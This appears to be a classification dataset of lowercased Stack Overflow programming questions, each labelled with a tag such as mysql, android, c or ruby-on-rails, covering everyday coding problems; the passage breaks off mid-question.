show child as parent in model - rails  i am using rails 4.1.4    in that i have a single model:   <pre><code>class formquestion &lt; activerecord::base    belongs_to :form_parent_question  :foreign_key =&gt;  form_parent_question_id   :class_name =&gt;  formquestion    has_one :form_child_question  :foreign_key =&gt;  form_parent_question_id       accepts_nested_attributes_for :form_child_question   end </code></pre>   so as you can see  there is a parent and child question.    when i do formquestion.all.to_json  then the child question comes inside the parent question on render.    is there a way so that all questions come as a array      current response   <pre><code>{ form_questions :[   {      id :1       form_child_question : {        id :2         form_child_question : null     }   } ]} </code></pre>   the response i want to achieve but not able to:   <pre><code>{ form_questions :[   {      id :1       form_parent_question_id : null   }    {      id :2       form_parent_question_id : 1   }  ]} </code></pre>,ruby-on-rails
how do i remove a uniqueness constraint from a mysql table   i created a table in a mysql database via the following:   <pre><code>create table `newsubscriptions_orderspecification` (     `id` integer auto_increment not null primary key      `display_name` varchar(256) not null      `sub_def_id` integer unsigned not null      `source_code_id` integer unsigned not null      `order_code_id` integer unsigned not null      `rate` numeric(5  2) not null      `type` varchar(4) not null      `region` varchar(4) not null      `term` varchar(4) not null      `buyer_type` varchar(4) not null      `is_active` bool not null      unique (`sub_def_id`  `buyer_type`  `rate`  `is_active`) ) ; </code></pre>   how can i remove the uniqueness constraint,mysql
can the select option value be of different types   i want to know what is good practice for select option values.    example   <pre><code>&lt;select name= select &gt;   &lt;option value= 0-9 &gt;sample&lt;/option&gt;   &lt;option value= a-z &gt;sample&lt;/option&gt;   &lt;option value= this is sample value &gt;sample&lt;/option&gt;   &lt;option value= this-is-sample-value &gt;sample&lt;/option&gt;   &lt;option value= this_is_sample_value &gt;sample&lt;/option&gt;   &lt;option value= this &amp; is | sample ** value &gt;sample&lt;/option&gt; &lt;/select&gt; </code></pre>   i m a little bit confused here. is the select value same like <code>input text</code> and <code>textarea</code>,html
how to zoom an image that in scroll   i want to do an animation in which i have different images in scroll view.i want that when an image comes in center it should zoom like an animation done in net-a-porter magazine app...    can anyone help me,iphone
redirecting based on login conditions in angular  im using active directory windows authentication to check if a user is loged in.     the client side code is in angular the server side is in c#. how can i get angular to check if a user is authorized when trying to connect to a page  and redirect based on privileges.     everything ive seen online on this subject is overly complex. i dont need it to be secure  i just want a simple solution. is there some kind of listener for route changes    <h3>explain to me like im completely new to angular and javascript</h3>,angularjs
android unlocker for myself  how can i do a unlocker ad for myself      i have second application and what i want is that ask user an offer if user install my second application i will give him some bonus..    but i dont know how to open market installing screen in my application and how to know if he installed or not    <pre><code>public void getfreebonus(view v) {      intent intent = new intent(game.this  bonus.class);     startactivity(intent);  }  public class bonus extends activity {      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         requestwindowfeature(window.feature_no_title);          getwindow().setflags(windowmanager.layoutparams.flag_fullscreen  windowmanager.layoutparams.flag_fullscreen);           setcontentview(r.layout.bonus);  } } </code></pre>,android
update dynamically created input field value on button click using angularjs  lets say  i m having 5 text box which are created dynamically. all fields having default value that are coming from database and that are binded to input field.    <pre><code>&lt;html&gt; &lt;div data-ng-repeat= input in inputarray &gt;     input field     &lt;label&gt;{{$index + 1}} : &lt;/label&gt;     &lt;input type= text  data-ng-model= input.inputvalue  data-ng-change=   /&gt; &lt;/div&gt; &lt;div&gt;     calculated result :         &lt;label&gt;{{calculatedvalue}}&lt;/label&gt; &lt;/div&gt; &lt;div&gt;     &lt;input type= button  name= update calculated result to 3rd input field  data-ng-click=   /&gt; &lt;/div&gt; &lt;/html&gt; </code></pre>   i m having label which have calculated value. its value is updated from another input field.    i want to update particular / only one text box value from that label value on a button click.    is it possible to update by using id of input field,angularjs
sql on oracle error  (songs table)   <pre><code>insert into albums values( queen    keep yourself alive   brian   1973 ) insert into albums values( queen    liar    freddie   1973 ) insert into albums values( queen ii    the fairy fellers master stroke    freddie   1974 ) insert into albums values( queen ii    funny how love is    freddie    1974 ) insert into albums values( a night at the opera    youre my best friend    john    1975 ) insert into albums values( jazz    dead on time    brian    1978 ) insert into albums values( the game    another one bites the dust    john    1980 ); </code></pre>  <hr>  <pre><code>create table albums( album_title varchar2(50)  song_title varchar2(50)  band_member varchar2(30)  year int(4)); </code></pre>   i keep on getting this error   <pre><code>sql&gt; @songs; insert into albums values( the game    another one bites the dust    john    1980 )                                                                             * error at line 1: ora-01861: literal does not match format string </code></pre>   what is wrong with my commands,sql
a question about pschildpanespecifier [iphone sdk]  i am using pschildpanespecifier on setting bundle to show  acknowledgements about my application on setting bundle  so how can handle my plist file to show many texts   like iwork apps acknowledgements thank you     i mean something like this :    <img src= https://i.stack.imgur.com/u4evf.png  alt= alt text >,iphone
malloc global array in functions  <strong>solved</strong>    why is <code>malloc</code>ing <code>w[51]</code> in <code>load51()</code> messing with <code>w[50]</code> contents    <pre><code>typedef struct qword { short chap  chappos  sentence  nbletters  gval; char *l;} qword;  qword *w[73];  main() { load50(); load51(); } load50() {    // this function is generated by a script that reads a txt file   qword w;   short chap = 50  p = 0;   w[chap] = (qword *) malloc(376*sizeof(qword));    // fill every single qword in w[50]:   //* (sentence 0  word 1)   w.sentence = 0; w.chappos = ++p;   { char b[] = {1  12  12}; w.l = b; }; w.nbletters = 3; w.gval = 21; w[chap][p] = w;   // //* (sentence 0  word 2) ...  } load51() {    w[51] = (qword *) malloc(365*sizeof(qword));    // then fill every single qword in w[51]  like in load50() } </code></pre>   <code>load50()</code> works just fine  and everything is as expected  and <code>w[50]</code> is perfect.    <code>printf</code>ing <code>w[50][375].l</code> shows it is altered after <code>load51()</code> is called. notice that <code>w[51]</code> is ~10 <code>qword</code>s smaller than <code>w[50]</code>.    <code>w</code> is a global variable  so i don t see the need to pass a <code>***qword</code> to <code>load</code> functions and call <code>load(&amp;w)</code>.    same problem under cygwin (gcc) &amp; visual studio.   <hr>  <h2>solution</h2>   don t use a limited scope <code>b</code>  <code>malloc</code> instead    <code>w.l = malloc(3); w.l[0] = 1; w.l[1] = 12; w.l[2] = 12;</code>,c
if you have two exists how does it work   the query i am analysing is below. i would like to understand how the second <code>exists</code> works here. is my understanding correct   if not please explain me:   <ol>  <li>the query looks at each record from <code>select cust_nofrom customers c1</code>.</li>  <li>the first record is checked against the first <code>not exist</code> query to make sure it does not exist. if it does not exist it returns <code>true</code>  else <code>false</code>. if <code>true</code> it continues to be checked against the second <code>not exist</code> query and also returns <code>true</code> or <code>false</code>.</li> </ol>  <pre><code>select cust_no from customers c1 where not exists (     select *     from orders  order_details od1     where orders.order_no = od1.order_no           and orders.cust_no = c1.cust_no            and not exists (             select *             from products             where od1.prod_cod = products.prod_cod                    and products.prod_cod =  stand            ) ) </code></pre>,mysql
how to skip an initializer only for worker   i have some patches for mongrel to run with rails 2.3.8 in initializers. this does not work when i want to start a deamon. when i remove the patch from initializers it works fine. what i am looking is to skip that particular initializer while starting the deamon.     thanks for your help in advance.,ruby-on-rails
how to test 2 bitmap images in android studio using robotium <pre><code>public boolean equals(bitmap bitmap1  bitmap bitmap2) {     bytebuffer buffer1 = bytebuffer.allocate(bitmap1.getheight() * bitmap1.getrowbytes());     bitmap1.copypixelstobuffer(buffer1);      bytebuffer buffer2 = bytebuffer.allocate(bitmap2.getheight() * bitmap2.getrowbytes());     bitmap2.copypixelstobuffer(buffer2);      return arrays.equals(buffer1.array()  buffer2.array()); } </code></pre>,android
search a custom dataclass for results  i have built a custom data class that stores ip address details.   <pre><code>        public class ipaddressdataitem          private _id as integer         private _ip as string         private _name as string          public property id() as integer             get                 return _id             end get             set(byval value as integer)                 _id = value             end set         end property         public property ip() as string             get                 return _ip             end get             set(byval value as string)                 _ip = value             end set         end property         public property name() as string             get                 return _name             end get             set(byval value as string)                 _name = value             end set         end property\          public sub new(byval id as integer  byval ip as string  byval name as string)             _id = id             _ip = ip             _name = name         end sub      end class </code></pre>   what i m trying to figure out how to do is search it for specific data.    example.. i send it an ip address and it will return the name to me.    does anyone know how i would do this,.net
updated code for space below listview <pre><code>&lt;textview         android:id= @+id/_tv_title_labels          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_marginleft= 20dp          android:layout_margintop= 30dp          android:text= profile labels :          android:textcolor= @drawable/black          android:textsize= 14dp          android:textstyle= bold  /&gt;                       &lt;relativelayout          android:layout_width= fill_parent          android:layout_height= wrap_content          android:orientation= vertical          android:layout_below= @+id/_tv_title_labels &gt;          &lt;linearlayout             android:id= @+id/asda              android:layout_width= wrap_content              android:layout_height= wrap_content              android:layout_above= @+id/tablelayout01              android:layout_marginleft= 50dp              android:layout_marginright= 40dp &gt;              &lt;listview                 android:id= @+id/_lv_labels                  android:layout_width= wrap_content                  android:layout_height= 380dp                  android:layout_weight= 1                  android:choicemode= multiplechoice  &gt;             &lt;/listview&gt;          &lt;/linearlayout&gt;          &lt;tablelayout             android:id= @+id/tablelayout01              android:layout_width= wrap_content              android:layout_height= wrap_content              android:layout_alignparentbottom= true               android:layout_alignright= @+id/asda              android:paddingtop= 20dp              android:gravity= bottom &gt;              &lt;tablerow                 android:id= @+id/tablerow01                  android:gravity= bottom  &gt;                  &lt;button                     android:id= @+id/_btn_scannewitem                      android:layout_width= 90dp                      android:layout_height= wrap_content                      android:layout_marginright= 2dp                      android:text= scan new item  /&gt;                  &lt;button                     android:id= @+id/_btn_savenewitem                      android:layout_width= 90dp                      android:layout_height= wrap_content                      android:layout_marginleft= 2dp                      android:text= save your item                      android:visibility= gone  /&gt;                  &lt;button                     android:id= @+id/_btn_changeprofile                      android:layout_width= 80dp                      android:layout_height= wrap_content                      android:layout_marginleft= 2dp                      android:text= change profile  /&gt;             &lt;/tablerow&gt;         &lt;/tablelayout&gt;     &lt;/relativelayout&gt; </code></pre>   but this free space is found above the button when the free space is removed below text. my page should not contain free space. i have updated the code as you have suggested but dint find any change in my design. still have the space issue. <img src= https://i.stack.imgur.com/silw6.png  alt= here the space is found below &quot;profile labels&quot; >      <img src= https://i.stack.imgur.com/silw6.png  alt= enter image description here >,android
validators postback unwanted  i have multiple validators in my web page (compare  required  custom). when i click submit button  the page postsback. however i have given same validation group to all the fields. what is wrong    <pre><code> &lt;div class= innerusername  style= margin-top: 0px; &gt;                                 &lt;asp:textbox id= txtusername  runat= server  clientidmode= static                                       maxlength= 20  style= margin-left: 28px;  width= 230  causesvalidation= true &gt;&lt;/asp:textbox&gt;                              &lt;/div&gt;   &lt;asp:hiddenfield id= hdnfield  runat= server  clientidmode= static  /&gt;                             &lt;div id= divusernameavailability &gt;                             &lt;/div&gt;                             &lt;asp:requiredfieldvalidator id= reqval_uname  runat= server  controltovalidate= txtusername                                  cssclass= validation  display= dynamic  errormessage= please provide user name                                  setfocusonerror= true  validationgroup= signup &gt;&lt;/asp:requiredfieldvalidator&gt;                                 &lt;%--user name not available--%&gt;                             &lt;asp:customvalidator id= cusval_uname  runat= server  errormessage=   clientidmode= static                                  clientvalidationfunction= validateusername  controltovalidate= txtusername  cssclass= validation                                  display= dynamic  setfocusonerror= true  validationgroup= signup &gt;&lt;/asp:customvalidator&gt;   &lt;div class= innerpwd  style= margin-top: 0px; &gt;                                 &lt;asp:textbox id= txtpassword  runat= server  textmode= password                                       style= margin-left: 28px;  width= 230  causesvalidation= true &gt;&lt;/asp:textbox&gt; &lt;/div&gt;   &lt;span&gt;                             &lt;asp:requiredfieldvalidator id= reqval_pwd  runat= server  controltovalidate= txtpassword                                  setfocusonerror= true  cssclass= validation  display= dynamic  errormessage= please provide password                                  validationgroup= signup  /&gt;                             &lt;asp:regularexpressionvalidator id= regexpassword  runat= server  controltovalidate= txtpassword                                  setfocusonerror= true  display= dynamic  errormessage= please provide valid password                                  validationexpression= ^( =.*[0-9]+.*)( =.*[a-za-z]+.*)[0-9a-za-z]{6 20}$  validationgroup= signup                                  cssclass= validation &gt;&lt;/asp:regularexpressionvalidator&gt;&lt;/span&gt;                         &lt;div&gt;    &lt;asp:button id= btnsignup  runat= server  text= create account  style= border: 0px;                                     background-color: #396fd1; font-weight: bold; height: 29px; font-size: 12px;                                     color: #fff3dd;  validationgroup= signup  /&gt; </code></pre>   function:   <pre><code>function validateusername(sender  args) {             var div = document.getelementbyid( divusernameavailability );             var img = document.getelementbyid( imgusernameavailability );              if (div.style.display ==  none ) {                 callme( txtusername );             }              if (div.style.display ==  inline ) {                 var imgfilename = getname(img.src);                 if (imgfilename ==  wrong )                     args.isvalid = false;                 else                     args.isvalid = true;             }         } </code></pre>,asp.net
what is a socket in  mysql enterprise edition subscription (1-4 socket server)   i am looking to purchase the  mysql enterprise edition subscription (1-4 socket server)     what does 1-4 socket server means     thanks,mysql
odd c error: adding a print statement before a line makes it run  but it errors without it  i m writing a basic tokenizer to practice my c  but am running into an odd error. what am i doing wrong     this crashes:   <pre><code>char* maketoken(char* string  char deliminator) {    char* token;    char* counter=token;    char currentchar;    string-=1;    while((currentchar=*(string+=1))!=deliminator)    {     *counter=currentchar;     counter++;    }     *counter= \0 ;     return token; } </code></pre>   but this runs fine:   <pre><code>char* maketoken(char* string  char deliminator) {    char* token;    char* counter=token;    char currentchar;    string-=1;    while((currentchar=*(string+=1))!=deliminator)    {     printf( making token\n );     *counter=currentchar;     counter++;    }     *counter= \0 ;     return token; } </code></pre>,c
what s wrong in this sql statement   what s wrong in this sql statements      <pre><code>insert into employee values(a-101 suman 20-convent-road 03/02/76 05/05/03 20000);    insert into employee values(a-101 suman 20_convent_road 03/02/76 05/05/03 20000);   </code></pre>,sql
multi-threaded performance std::string  we are running some code on a project that uses openmp and i ve run into something strange. i ve included parts of some play code that demonstrates what i see.    the tests compare calling a function with a const char* argument with a std::string argument in a multi-threaded loop. the functions essentially do nothing and so have no overhead.     what i do see is a major difference in the time it takes to complete the loops. for the const char* version doing 100 000 000 iterations the code takes 0.075 seconds to complete compared with 5.08 seconds for the std::string version. these tests were done on ubuntu-10.04-x64 with gcc-4.4.    my question is basically whether this is solely due the dynamic allocation of std::string and why in this case that can t be optimized away since it is const and can t change     code below and many thanks for your responses.     compiled with: g++ -wall -wextra -o3 -fopenmp string_args.cpp -o string_args   <pre><code>#include &lt;iostream&gt; #include &lt;map&gt; #include &lt;string&gt; #include &lt;stdint.h&gt;  // for wall time #ifdef _win32 #include &lt;time.h&gt; #else #include &lt;sys/time.h&gt; #endif  namespace {   const int64_t g_max_iter = 100000000;   std::map&lt;const char*  int&gt; g_charindex = std::map&lt;const char* int&gt;();   std::map&lt;std::string  int&gt; g_strindex = std::map&lt;std::string int&gt;();    class timer   {   public:     timer()     {     #ifdef _win32       m_start = clock();     #else /* linux &amp; mac */       gettimeofday(&amp;m_start 0);     #endif     }      float elapsed()     {     #ifdef _win32       clock_t now = clock();       const float retval = float(now - m_start)/clocks_per_sec;       m_start = now;     #else /* linux &amp; mac */       timeval now;       gettimeofday(&amp;now 0);       const float retval = float(now.tv_sec - m_start.tv_sec) + float((now.tv_usec - m_start.tv_usec)/1e6);       m_start = now;     #endif       return retval;     }    private:     // the type of this variable is different depending on the platform #ifdef _win32     clock_t #else     timeval #endif     m_start;   ///&lt; the starting time (implementation dependent format)   };  }  bool contains_char(const char * id) {   if( g_charindex.empty() ) return false;   return (g_charindex.find(id) != g_charindex.end()); }  bool contains_str(const std::string &amp; name) {   if( g_strindex.empty() ) return false;   return (g_strindex.find(name) != g_strindex.end()); }  void do_serial_char() {   int found(0);   timer clock;   for( int64_t i = 0; i &lt; g_max_iter; ++i )   {     if( contains_char( pos ) )     {      ++found;     }   }   std::cout &lt;&lt;  loop time:   &lt;&lt; clock.elapsed() &lt;&lt;  \n ;   ++found; }  void do_parallel_char() {   int found(0);   timer clock; #pragma omp parallel for   for( int64_t i = 0; i &lt; g_max_iter; ++i )   {     if( contains_char( pos ) )     {      ++found;     }   }   std::cout &lt;&lt;  loop time:   &lt;&lt; clock.elapsed() &lt;&lt;  \n ;   ++found; }  void do_serial_str() {   int found(0);   timer clock;   for( int64_t i = 0; i &lt; g_max_iter; ++i )   {     if( contains_str( pos ) )     {      ++found;     }   }   std::cout &lt;&lt;  loop time:   &lt;&lt; clock.elapsed() &lt;&lt;  \n ;   ++found; }  void do_parallel_str() {   int found(0);   timer clock; #pragma omp parallel for   for( int64_t i = 0; i &lt; g_max_iter ; ++i )   {     if( contains_str( pos ) )     {      ++found;     }   }   std::cout &lt;&lt;  loop time:   &lt;&lt; clock.elapsed() &lt;&lt;  \n ;   ++found; }  int main() {   std::cout &lt;&lt;  starting single-threaded loop using std::string\n ;   do_serial_str();   std::cout &lt;&lt;  \nstarting multi-threaded loop using std::string\n ;   do_parallel_str();    std::cout &lt;&lt;  \nstarting single-threaded loop using char *\n ;   do_serial_char();   std::cout &lt;&lt;  \nstarting multi-threaded loop using const char*\n ;   do_parallel_char();   } </code></pre>,c++
select and update in same time and gets displayed  i have this query:   <pre><code>select min(id) customername  scenario stepno intransit isalef runno responselength     from  `requestinfo`   where  `customername` =   hotstar      and `responsecontenttype` like  %video/mp2t%      and `requesthttprequest` like  %segment%  ; </code></pre>   which gives me output like this:-   <pre><code>+---------+--------------+----------+--------+-----------+--------+-------+----------------+----------+ | min(id) | customername | scenario | stepno | intransit | isalef | runno | responselength | isactive | +---------+--------------+----------+--------+-----------+--------+-------+----------------+----------+ |     139 | hotstar      | searchtv | 1      | no        | no     | 1     | 410098         |     null | +---------+--------------+----------+--------+-----------+--------+-------+----------------+----------+ </code></pre>   i want to insert string  yes  in the last column i.e  isactive  when the above data is being displayed but only when the isactive is set as null.,mysql
securing a tcp client/server  i have a tcplistener with a login system. i d like to help prevent the traffic between the tcpclient(s) and the tcplistener from being tampered with. what i originally did was xor the bytes i wrote to the stream  but i was told this was very insecure. i was directed to look at ssl/tls  but it seems that this requires a certificate  which costs money. is there anyway i could make communication more secure without having to spend money  maybe rsa,c#
write a program that multiplies user entered number till product of these numbers reach 1000  i ve trying to do it for about an hour  but i can t seem to get it right. how is it done     the code i have at the moment is:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;math.h&gt; int main(){     int j=-1;     while(j&lt;0){         printf( enter a number: \n );         scanf( %d   &amp;j);     }     int i=j;     for(i=j; i&lt;=100; i++){         printf( %d \n   i);     }     return 0; }  </code></pre>,c
print const char array by the result of sizeof() <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int constchars(const char* str) {     int size = sizeof(str)/sizeof(char);     printf( size is %d.\n   size);     int i = 0;     for (i=0;i&lt;size;i++)        printf( %c    str[i]);      return 0; }   int main(void) {      char a[10]={ b   c   d   e   f   f   f   f   f   f };     constchars(a);     return 0;  } </code></pre>   i wrote piece of code like above  but the output result is: size is 8. b c d e f f f f    i m quite confused  why the sizeof() function gives a size of 8  i use gcc and freebsd.,c
code not printing anything  i am writing code that reads in a text file through the command line arguments in the main method and prints out each word in it on its own line without printing any word more than once  it will not print anything  can anyone help    <pre><code>import java.util.*; import java.io.*; public class tokenization { public static void main(string[] args) throws exception{ string x =   ; string y =   ;  file file = new file(args[0]); scanner s = new scanner(file);    string [] words = null; while (s.hasnext()){ x = s.nextline(); } words = x.split( \\p{punct} );   string [] morewords = null; for (int i = 0; i &lt; words.length;i++){     y = y +     + words[i]; } morewords = y.split( \\s+ );   string [] unique = unique(morewords); for (int i = 0;i&lt;unique.length;i++){     system.out.println(unique[i]); } s.close(); }    public static string[] unique (string [] s) { string [] uniques = new string[s.length]; for (int i = 0; i &lt; s.length;i++){     for(int j = i + 1; j &lt; s.length;j++){         if (!s[i].equalsignorecase(s[j])){         uniques[i] = s[i];           }     } } return uniques; } } </code></pre>,java
java swapping not done for int values  i a  getting the output as 10 9 9 10 for this program but i am not able to understand why swapping is not working.    given below is the code:     public class swap {   <pre><code>public static void main(string[] args) {     int a=9;     int b=10;      swap(a  b);      system.out.println(a);     system.out.println(b); }  public static void swap(int a  int b){      int temp=0;     temp=a;     a=b;     b=temp;     system.out.println(a);     system.out.println(b);   } </code></pre>,java
how to swap item in a list of python  so i have a problem  i want to swap two item in a list given there index of the first integer we will swap it with the integer that follows it. how can i do this  so here is an example: swap[1 2 3 4]  index = 0; result = [2 1 3 4],python
why can we not define a low + top-level const pointer to a pointer to int  <ol> <li> define int and pointer to int:    <code>int i = 22  *p = &amp;i;</code> </li> <li> define pointer that is low level and top-level const:     <code>const int *const cp = p;</code>    (2) is alright - const point with no permission to change the value (of i) </li> <li> definie a pointer to a pointer that is low+top-level const:     <code>const int **const cp_2_p = &amp;p;</code>    (3) isn t alright  why     <code>error c2440:  initializing  : cannot convert from  int **  to  const int **const</code> </li> </ol>   i d expect to be able to define a pointer to a pointer to <code>int</code> where i cannot change the address it points to nor the address the pointer it points to  points to.,c++
mysql script (with conditions) for appending data to staging database  i have a very large database (with new information being added everyday) that a little cakephp app was built for searching the database online. because it is too big and slow i want to stage the data in a new database with:    <pre><code>- only the last 12 months  - converts the serial varchar field data into int (for sorting and  in btw  searches) - only take numeric serials less than 5 numbers (&lt; 99999) </code></pre>   <strong>old database</strong>   <pre><code> id(key)           serial (varchar)   date(datetime)                                             --------          -----------    --------------    1                 12345              2011-02-15 23:50:26     2                 12345678           2008-12-15 23:50:26  3                 abc45              2009-12-15 23:50:26 </code></pre>   <strong>new database</strong>   <pre><code> id(key)           serial (int)   date(datetime)                     --------          -----------    --------------    1                 12345          2011-02-15 23:50:26 </code></pre>   . i need a mysql script that i can schedule to run everyday and append new entries (with the above conditions) to the new database and use this database for the cakephp app,mysql
android update an app in the background  this app is not on the google play. i can update in manually from a server  but i d like to update it automatic  like in the google play  it is updating automatically in the bg  and show it in notification bar.    how can i do that     thanks,android
onitemclick on galleryview  i am displaying multiple images using the gallery class    i am using the following code to    <pre><code>private samplegallery mgalleryview1 = null;   mgalleryview1 = (samplegallery) findviewbyid(r.id.galleryview1); mgalleryview1.setonitemclicklistener(this);  </code></pre>   <strong>samplegallery class extends the gallery</strong>    the problem i am facing is that   when i am clicking on the images      from the following method   <pre><code>public void onitemclick(adapterview&lt; &gt; l  view v  int position  long id) {} </code></pre>   i am getting the position of the image as a no like  13878342720  &amp; not any value like  0     1  .    actually based on the position value   i am doing some logical calculations   so am ending getting the  arrayindexoutofboundsexception    since the position value is returning nothing.    kindly provide your inputs   why the position is being returned so.,android
detect state of outgoing call android  i have searched for two days  but hothing have found    is it possible to detect state of outgoing call programmaticaly (answered  busy or droped)  thank you for your answers.,android
memory allocation and looping  if i alloc and init an object in a method that is called quite frequently  and if i don t release it immediately  does the object become a memory nightmare  or will the alloc and init be ignored if the object is already in memory     this is somewhat difficult for me to explain  sorry!    thanks.,objective-c
why is my project un-parseable  <pre><code>11-19 15:13:55.955: w/packagemanager(2096): verifying app can be installed or not 11-19 15:13:56.020: w/packageparser(2096): /data/app/vmdl2068695449.tmp 11-19 15:13:56.020: w/packageparser(2096): java.lang.unsupportedoperationexception: can t convert to integer: type=0x3 11-19 15:13:56.020: w/packageparser(2096):  at android.content.res.typedarray.getinteger(typedarray.java:367) 11-19 15:13:56.020: w/packageparser(2096):  at android.content.pm.packageparser.parsepackage(packageparser.java:856) 11-19 15:13:56.020: w/packageparser(2096):  at android.content.pm.packageparser.parsepackage(packageparser.java:444) 11-19 15:13:56.020: w/packageparser(2096):  at com.android.server.pm.packagemanagerservice.installpackageli(packagemanagerservice.java:7689) 11-19 15:13:56.020: w/packageparser(2096):  at com.android.server.pm.packagemanagerservice.access$1500(packagemanagerservice.java:174) 11-19 15:13:56.020: w/packageparser(2096):  at com.android.server.pm.packagemanagerservice$6.run(packagemanagerservice.java:6222) 11-19 15:13:56.020: w/packageparser(2096):  at android.os.handler.handlecallback(handler.java:605) 11-19 15:13:56.020: w/packageparser(2096):  at android.os.handler.dispatchmessage(handler.java:92) 11-19 15:13:56.020: w/packageparser(2096):  at android.os.looper.loop(looper.java:137) 11-19 15:13:56.020: w/packageparser(2096):  at android.os.handlerthread.run(handlerthread.java:60) </code></pre>   installation error: install_parse_failed_unexpected_exception    what is the problem and how do i solve this,android
applying a max-width larger than 100%  so  i have a list of <code>inline-block</code> list items. they all vary in width  but are always on the same line. the number of list items may also vary  so i can not predict the width of the list as a whole. the list should always be centered in its parent container  but when the width exceeds 100%  it should gain a horizontal scroll rather than extending over two lines.    now  as far as i understand  if i set the <code>width</code> to <code>auto</code>  it is actually set to <code>shrink-to-fit</code> – essentially meaning <code>max-width: 100%;</code>  which is not what i want.    is there a way for me to achieve this reliably with css alone     <strong>markup</strong>   <pre><code>&lt;div&gt;   &lt;ul&gt;     &lt;li&gt;banana&lt;/li&gt;     &lt;li&gt;krypton&lt;/li&gt;     &lt;li&gt;molten boron&lt;/li&gt;   &lt;/ul&gt; &lt;/div&gt; </code></pre>   <strong>css</strong>   <pre><code>div {   overflow-x: auto;   width: 500px; } ul {    max-width: 5000px; /* doesn t override */    width: auto; /* calculated to 500px or less */ } li { display: inline-block; } </code></pre>   it should be noted that this is a responsive layout  so the width of the container is not exactly fixed  but i m not afraid of manual labour.    my js fiddle: <a href= http://jsfiddle.net/thenix/gdrab/  rel= nofollow noreferrer >http://jsfiddle.net/thenix/gdrab/</a>    my question is similar to <a href= https://stackoverflow.com/questions/6042327/css-dynamic-width-larger-than-100 >css dynamic width larger than 100%</a> except my child elements are not floated  ergo still in the flow (i have control over this).    regarding <code>width: auto;</code> in the spec: <a href= http://www.w3.org/tr/css2/visudet.html#inline-replaced-width  rel= nofollow noreferrer >http://www.w3.org/tr/css2/visudet.html#inline-replaced-width</a>,css
my application should support only 10 inch tablet  hi guys     i am developing an application   at present which is supporting all screen-sizes by my requirement is  it need to support only <strong>10inch</strong> tablet     for this i have create <strong>layoutfloder</strong> as below. in normal <strong>layout folder</strong> i have not created any xml.    <strong>res/layout-xlarge/main_activity.xml</strong>     in androidmanifest.xml  i have declared as below.   <pre><code>&lt;supports-screens         android:anydensity= false          android:largescreens= false          android:normalscreens= false          android:resizeable= false          android:smallscreens= false          android:xlargescreens= true  &gt;     &lt;/supports-screens&gt; </code></pre>   but in xlargedevices app is working perfectly.when i have run app in <strong>emulator</strong> with normal size app is crashing. as resource not found exception.    but at last i will be conclude one thing that  my application should run only in xlargescreens.,android
how to find the root element in a hierarchical structure  i have this situation set:    an object with a property  children   which is a list of the same type. the depth of the structure is unknown. this is  how the object looks like:   <pre><code>public class customtype {    public guid id { get; set; }    public string name { get; set; }    public list&lt;customtype&gt; children { get; set; } } </code></pre>   now i want to search for a specific name and if i ve found an element matching this name  i want to know it s root element. for example:   <ul> <li>rootelement <ul> <li>anyelement <ul> <li>anyelement <ul> <li>foundelement</li> </ul></li> </ul></li> </ul></li> </ul>   i have the foundelement already  but i want to know it s top level parent element. i hope my problem is understandable. main problem is the non existing parent link in the object...    so long chris,c#
mysql index usage for order by limit query  i m using  users  table with over 2 millions records. the query is:   <pre><code>select * from users where 1 order by firstname limit $start 30 </code></pre>    firstname  column is indexed. getting first pages is very fast while getting last pages is very slow.    i used explain and here are the results:    for    <pre><code>explain select * from `users` where 1 order by `firstname` limit 10000   30 </code></pre>   i m getting:    <pre><code>id  select_type     table   type    possible_keys   key     key_len     ref     rows    extra 1   simple  users   index   null    firstname   194     null    10030  </code></pre>   but for    <pre><code>explain select * from `users` where 1 order by `firstname` limit 100000   30 </code></pre>   i m getting   <pre><code>id  select_type     table   type    possible_keys   key     key_len     ref     rows    extra 1   simple  users   all     null    null    null    null    2292912     using filesort </code></pre>   what s the issue,mysql
visual studio can not perform debug function  windows 7 visual studio 2017.    i have build a project in visual studio  the dll generated (myfile.dll) could function well. but when i performed the debug function using <kbd>f5</kbd>  error occurs:   <blockquote>    myfile.dll is not a valid win32 application.  </blockquote>,c
how to temporarily change the default value of column   i have a model which contains many predefined rows (> 100) and also can be edited by the user. i want to distinguish between pre-defined and user-added rows.    because the database will be edited by a third-party application  too  i want to be on the safe side and set the default value for <code>predefined</code> to <code>false</code> in the database schema  because setting it to true will lead to serious restrictions on the row (i.e. it can never be deleted)    on the other hand the install script which creates the > 100 predefined rows now has to specify <code>predefined = true</code> for every row  which clutters the script.    it s not that bad  but if there s a simple way to change the default way from rails it would make my script look more friendly.     in other words: i want to write this:   <pre><code>mymodel.create(:data =&gt;  value ) </code></pre>   but what i want to happen is this:   <pre><code>mymodel.create(:data =&gt;  value   :predefined = true) </code></pre>   is this possible     <strong>edit:</strong> this is only an examply  actually there are some more columns i have to set differently for predefined columns.,ruby-on-rails
how does list<struct>.contains() work   i have programed a very simple struct in c# (i m using visual studio 2012 with .net 4.5)   <pre><code>public struct mystruct {     public int32 x { get; set; }     public int32 y { get; set; }  } </code></pre>   when i perform the following test to compare two different structs using equality operator <code>==</code>:   <pre><code>private void mytest() {     var sa = new mystruct() { x = 1  y = 2 };     var sb = new mystruct() { x = 10  y = 20 };      // expected error occurs here.     console.writeline(sa == sb    true  :  false );  } </code></pre>   i get the expected error <code>operator  ==  cannot be applied to operands of type  mystruct  and  mystruct .</code>  nothing new or interesting here.  however  here s where things get weird.  let s say i try to do the following:   <pre><code>private void button1_click(object sender  eventargs e) {     var sa = new mystruct() { x = 10  y = 10 };     var sb = new mystruct() { x = 20  y = 20 };     var sc = new mystruct() { x = 30  y = 30 };     var sd = new mystruct() { x = 10  y = 10 };      // note that struct sd contains the same data as sa.      var mylist = new list&lt;mystruct&gt;();      mylist.add(sa);     mylist.add(sb);      // this line writes  true  to the console window.     console.writeline(mylist.contains(sa)    true  :  false );      // this line writes  true  to the console window.     console.writeline(mylist.contains(sb)    true  :  false );      // this line writes  false  to the console window.     console.writeline(mylist.contains(sc)    true  :  false );      // this line writes  true  to the console window.     console.writeline(mylist.contains(sd)    true  :  false );  } </code></pre>   how does the <code>.contains()</code> method perform the comparison   it s clearly not comparing references since it indicates that sd is in the list.  it seems like it s going into the structs and comparing  them property by property (e.g. <code>sa.x == sd.x</code> and <code>sa.y == sd.y</code>). does anyone know what is 